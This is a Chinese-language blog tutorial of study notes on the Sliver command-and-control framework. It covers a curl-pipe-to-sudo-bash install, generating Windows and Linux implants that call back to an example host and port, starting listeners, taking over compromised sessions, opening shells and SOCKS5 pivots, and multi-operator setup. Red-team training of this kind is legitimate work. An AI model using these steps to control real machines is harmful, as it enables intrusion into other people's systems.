码农知识堂 - 1000bd
  •   Python
  •   PHP
  •   JS/TS
  •   JAVA
  •   C/C++
  •   C#
  •   GO
  •   Kotlin
  •   Swift
  • 学习笔记-sliver


    sliver


    免责声明

    本文档仅供学习和研究使用,请勿使用文中的技术源码用于非法用途,任何人造成的任何负面影响,与本人无关.


    项目地址

    • https://github.com/BishopFox/sliver

    使用文档

    • https://github.com/BishopFox/sliver/wiki

    相关文章

    • sliver c2代码的学习

    安装

    官方一条命令版

    1. # 安装
    2. curl https://sliver.sh/install|sudo bash
    3. # 连接(默认连接本地服务器)
    4. sliver
    5. # 如果默认连接本地失败,可能是服务没有开启,手动开启再连接即可
    6. systemctl start sliver
    7. sliver

    使用

    连接服务器后会进去到类似 pupy 的命令行交互界面,使用方法其实差不多

    sliver 自 1.5 版本开始,支持2种操作模式 Session Mode/Beacon Mode

    Beacon Mode 实现了一种异步通信方式,在这种方式中,木马程序定期检查服务器检索任务、执行它们并返回结果。

    Session Mode 木马程序将根据底层 C2 协议使用持久连接或使用长轮询创建交互式实时会话。

    生成 shell (http)

    Session Mode

    1. generate -h
    2. generate --http example.com --save /tmp
    3. # 指定平台
    4. generate --http example.com --save /tmp --os win
    5. generate --http example.com --save /tmp --os linux

    Beacon Mode

    generate beacon --http example.com --save /tmp

    启动监听器

    1. http -h
    2. http --domain example.com
    3. # 查看当前的监听器
    4. jobs
    5. # 关闭监听器
    6. jobs -k [int]

    示例

    比如我服务器的外网 ip 为 1.14.5.14 ,监听器在 1919 端口,生成一个 windows 的木马

    1. generate --http http://1.14.5.14:1919 --save /tmp --os win
    2. # 开启一个基于 http 1919 端口的C2
    3. http -l 1919

    生成 shell (mtls)

    generate --mtls example.com --save /tmp --os win

    启动监听器

    1. mtls
    2. jobs

    进入 shell

    当有主机上线后,控制台会有log提示,我们可以运行 sessions 查看可控制的机器列表

    sessions

    使用 use 后面跟 session id 指定要控制的目标主机

    use [session id]

    选中 sessions 后,我们可用2种控制模式

    interactive

    交互式会话,在 sliver 中某些命令,例如 shell portfwd 仅适用于交互式会话

    1. # 在选中 sessions 后 (仅beacon模式可用)
    2. interactive
    3. close

    shell

    1. # 在选中 sessions 后
    2. shell

    socks5

    • https://github.com/BishopFox/sliver/wiki/Reverse-SOCKS
    • https://github.com/BishopFox/sliver/tree/master/client/command/socks

    开启 socks5 代理

    1. # 在进入 sessions 后 (仅 session 模式可用)
    2. socks5 start
    3. # 默认监听在 127.0.0.1 可自行指定监听的ip、端口、配置socks5认证
    4. socks5 start --help

    关闭 socks5 代理

    socks5 stop -i [ID]

    多人运动

    • https://github.com/BishopFox/sliver/wiki/Multiplayer-Mode

    服务端

    /root/sliver-server operator --name f8x --lhost [服务端ip] --save f8x.cfg

    用户端

    1. # 导入服务端生成的配置文件
    2. sliver import ./f8x.cfg
    3. # 再次启动会让你选择使用哪个 server
    4. sliver

    GUI

    • https://github.com/BishopFox/sliver-gui

    使用和命令行 client 端一样,从服务端下载 cfg 文件导入即可

    点击关注,共同学习!安全狗的自我修养

    github haidragon

    https://github.com/haidragon

  • 相关阅读:
    彻底理解装饰模式
    对象 和 json 互转 四种方式 json-lib、Gson、FastJson、Jackson
    vue基础教程(7)——构建项目级首页
    裸辞4个月,面试了30家公司,终于找到理想工作了
    多线程调用外部接口
    SSH连接服务器经常被断开解决方法
    mapper-reducer编程搭建
    输入spark-shell后毫无反应直接跳出命令行
    济南瞪羚企业申报流程,瞪羚企业认定标准-
    计算机毕业设计springboot+vue+elementUI高考填报志愿综合参考系统
  • 原文地址:https://blog.csdn.net/sinat_35360663/article/details/127664637
  • 最新文章
  • 【JVM】编译执行与解释执行的区别是什么?JVM 使用哪种方式?
    用 Hashids 优雅解决 C 端自增 ID 暴露问题
    V8引擎 精品漫游指南--Ignition篇(上) 指令 栈帧 槽位 调用约定 内存布局 基础内容
    LLVM Pass快速入门(四):代码插桩
    milkup:桌面端 markdown AI续写和即时渲染
    基于项目工程构建SBOM(软件物料清单)的研究
    鸿蒙应用开发UI基础第二节:鸿蒙应用程序框架核心解析与实操
    .NET 中如何快速实现 List 集合去重?
    扣子Coze实战:从0到1打造抖音+小红书热点监控智能体
    浅谈数据访问层
  • 热门文章
  • 十款代码表白小特效 一个比一个浪漫 赶紧收藏起来吧!!!
    奉劝各位学弟学妹们,该打造你的技术影响力了!
    五年了,我在 CSDN 的两个一百万。
    Java俄罗斯方块,老程序员花了一个周末,连接中学年代!
    面试官都震惊,你这网络基础可以啊!
    你真的会用百度吗?我不信 — 那些不为人知的搜索引擎语法
    心情不好的时候,用 Python 画棵樱花树送给自己吧
    通宵一晚做出来的一款类似CS的第一人称射击游戏Demo!原来做游戏也不是很难,连憨憨学妹都学会了!
    13 万字 C 语言从入门到精通保姆级教程2021 年版
    10行代码集2000张美女图,Python爬虫120例,再上征途
小工具 小游戏
Copyright © 2022 侵权请联系2656653265@qq.com    京ICP备2022015340号-1

京公网安备 11010502049817号